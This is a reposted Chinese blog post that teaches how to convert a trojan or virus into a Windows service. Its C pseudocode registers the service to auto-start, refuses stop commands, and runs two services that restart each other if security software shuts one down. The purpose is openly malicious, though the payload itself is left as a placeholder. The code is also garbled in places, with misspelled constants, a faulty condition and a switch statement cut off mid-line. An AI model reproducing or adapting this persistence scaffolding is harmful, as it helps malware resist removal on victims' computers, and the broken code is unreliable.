C语言病毒

来源:互联网 发布:轻便婴儿推车知乎 编辑:程序博客网 时间:2024/05/22 16:57

对于病毒和木马的启动,除了显示修改注册表,还有一个办法就是把木马或病毒做成Windows服务,不过这有一个不好的地方就是它的通用性,因为服务要用到winAPI,所以这样的病毒和木马只能运行于Windows系统,而且木马病毒的体积也会有所增加。
下面我们要把现有的木马病毒程序转换为Windows服务,这个需要三个步骤:
一、创建一个新的main入口点,在服务控制管理器中注册,在这个main函数中要提供逻辑服务名称和入口点即servermain();
二、把原木马病毒程序的入口点main函数整合到逻辑服务入口点servermain函数中;
三、编写我们自己的服务控制处理器函数来响应SCM的命令(服务控制命令)。
现在就根据上面的步骤做一个木马病毒程序的框架。
首先做一个新的main函数,这里没有添加头文件,也没有编译,只是把关键代码写上来了,就当是伪代码吧。代码显示为红色。
SERVICE_STATUS ServiceStatus;//服务状态结构体
SERVICE_STATUS_HANDLE hStat; //服务状态句柄
int main()
{
SERVICE_TABLE_ENTRY ste[]={{ServiceName,ServiceMain},
                        {NULL,NULL} };//ServiceName是我们下面准备实现的逻辑服务的名称,这个像变量一样可以随便定义;ServiceMain就是逻辑服务所对应的服务入口点,它只是一个占位符,函数名称也是可以随便起的。这里可以给出多个逻辑服务,对于我们的木马病毒应该给两个逻辑服务。
if(!StartServiceCtrlDispatcher(ste); //在SCM中注册服务
return GetLastError();
return 0;
}
接下来,定义逻辑服务的入口点ServiceMain函数:
int WINAPI ServiceMain(DWORD argc, DWORD argv[])
{
ServiceStatus.dwServiceType=SERVICE_WIN32_OWN_PROCESS;//设置或返回服务的类型,此处设置为在自己的进程中运行,其他的类型可查看MSDN
ServiceStatus.dwCurrentState=SERVICE_START_PENDING;//设置或返回服务当前的状态,此为正在启动中
   ServiceStatus.dwControlAccepted=SERVICE_ACCEPT_PAUSE_CONTINUE;//设置或返回服务可接受的控制,此处为服务可以接受暂停和继续的控制命令,控制命令稍候介绍,可以查看MSDN。在我们的木马病毒中,只设置为可接受暂停和继续控制,像关闭、停止等命令都拒绝接受
ServiceStatus.dwWin32ExitCode=ERROR_SERVICE_SPECIFIC_ERROR;//设置或返回逻辑服务线程的退出码,如果这个数据成员的值为上述的值,那么就可以在下一个数据成员指定一个描述值了,否则下个数据成员将被忽略
ServiceStatus.dwServiceSpecificExitCode=0;//如果dwWin32ExitCode为ERROR_SERVICE_SPECIFIC_ERROR,那么在这儿设置返回的描述值
ServiceStatus.dwCheckPint=0;//用于跟踪服务,必须由服务周期性的增加,否则SCM会在dwWaitHint超时时报错
ServiceStatus.dwWaitHint=CS_TIMEOUT;//超时值
hStat=RegisterServiceCtrlHandlerEx(ServiceNmae //注册的服务名称,在StartServiceCtrlDispatcher中设置的逻辑服务名
                              ,ServiceCtrlHandlerEx //服务控制处理器,由我们自己写的回调函数
                              ,NULL); //这是一个VOID指针,它将被传给服务控制处理器。是它的一个参数
SetServiceState(hStat,&ServiceStatus); //用我们上面定义的SERVICE_STATE结构设置服务的状态
if(MyFun(argc,argv)!=0)//MyFun是我们木马病毒的函数,木马病毒的功能在这里实现
   {
   ServiceStatus.dwCurrentState=SERVICE_STOPEN;
   ServiceStatus.dwServiceSpecificExitCode=1;
   SetServiceStatus(hStat,&ServiceStatus);
   return 1;
}
UpdateStatus(SERVICE_STOPED,0);
return 0;
}
void UpdateStatus(int NewStatus, int CheckValue)//用于更新服务状态
{
if(CheckValue=0)
ServiceStatus.dwCurrentState=NewStatus;
SetServiceStatus(hStat,&ServiceStatus);
return ;
}
下面定义我们的服务控制处理器:
void ServiceCtrlHandlerEx(DWORD dwControl //由系统传回的服务控制代码,停止服务为SERVICE_CONTROL_STOP;关闭服务为SERVICE_CONTROL_SHUTDOWN其他的可以查看MSDN
                     ,DWORD dwEventType //通常为0,用于设备管理
                  ,LPVOID lpEventData //通常为NULL
                  ,LPVOID lpContext); //由RegisterServiceCtrlHandlerEx的第三个参数传过来的
{
switch(dwControl)
{
   case SERVICE_CONTROL_SHUTDOWN:
       break;
   case SERVICE_CONTROL_PAUSE:
       break;
       .   //其他需要处理的控制命令
       .
       .
   defult:
       if(dwControl>127 && dwControl
一般服务控制处理器是由一个switch..case语句组成的,我们可以根据dwControl命令来设置一些全局变量,从而控制我们的程序。在这里可以监控我们的服务是否被第三方软件关闭或执行了其他的操作,我们可以注册两个逻辑服务,这两个服务除了服务名和ServiceMain不一样,其他的一样,都是执行我们的木马病毒。先启动一个逻辑服务,当启动的这个服务被关闭或其他操作时,我们的处理器将接受到相应的命令,然后我在处理器中启动另一个服务,而第二个服务被关闭时,可以启动第一个,起到相互监控的作用。
现在大家肯定有一个疑问,怎么启动我们的服务呢?控制命令是谁发送的呢?
一、可以通过控制面板-管理工具-服务来管理和控制,这个大家应该很熟悉了。
二、自己写程序,这个程序就是我们木马病毒的启动程序。首先要打开SCM,如下:
SC_HANDLE OpenManager(LPCTSTR lpMachineNnme //SCM所在的机器名,一般为NULL,表示本地系统
                   ,LPCTSTR lpDatabaseName //一般也为NULL
               , DWROD dwAccess) //访问权限,可以设置为MANAGER_ALL_ACCESS
然后用上面的函数返回的SC_HANDLE调用CreateService函数,来创建一个逻辑服务的句柄,如下:
SC_HANDLE CreateService(SC_HANDLE hSCM, //OpenManager函数返回的SCM的句柄
                     LPCTSTR lpServiceName, //逻辑服务的名称
                  LPCTSTR lpDisplayName, //注册表关键字名称
                  DWORD dwAccess, //对服务句柄的访问权限,可以是SERVICE_ALL_ACCESS
                     DWORD dwServiceType, //启动类型,这个队我们很重要,SERVICE_DEMAND_START为手动启动;SERVICE_BOOT_START和 SERVICE_SYSTEM_START允许设备驱动器服务在引导或系统启动时启动;SERVICE_AUTO_START指定服务在系统启动时启动
                     LPCTSTR lpBinaryPathName, //可执行程序的路径,我们转换后的木马病毒程序,就是我们前面写的那个框架
                     LPCESTR lpLoadOrderGroup,
                     LPDWROD lpdwTagID,
                     LPCESTR lpDependencies,
                     LPCTSTR lpServiceStartName,
                     LPCTSTR lpPassword)
如果成功,将返回dwServiceName对应的句柄SC_HANDLE,通过对这个句柄的操作可以控制服务。
用CreateService函数返回的句柄SC_HANDLE来启动服务,如下:
bool StartService(SC_HANDLE hService, //CreateService函数返回的句柄SC_HANDLE,指定要启动的服务的句柄
               DWORD argc, //传给ServiceMain函数的argc参数
            LPTSTR argv()]) //传给ServiceMain函数的argv参数
这样,服务就启动了,现在木马病毒已经开始执行了,这里的关键就是怎样把启动木马病毒的程序运行。
用这个函数可以向服务发出控制命令,来关闭或停止服务,如下:
bool ControlService(SC_HANDLE hService, //逻辑服务句柄
                   DWORD dwControlCode, //控制码
                   LPSERVICE_STATUS lpServiceStatus) //返回当前状态的SERVICE_STATUS结构体指针
这个函数的调用,最终将导致用RegisterServiceCtrlHandlerEx函数注册的服务控制处理器ServiceCtrlHandlerEx执行。
服务的控制代码有以下几种:
SERVICE_CONTROL_STOP    停止服务
SERVICE_CONTROL_PAUSE 暂停服务
SERVICE_CONTROL_SHUTDOWN   关闭服务
我们已经把木马病毒转换为Windows的服务了,而且也做了我们自己的服务启动和控制程序, 现在只要执行服务控制程序,那么木马病毒就开始执行了。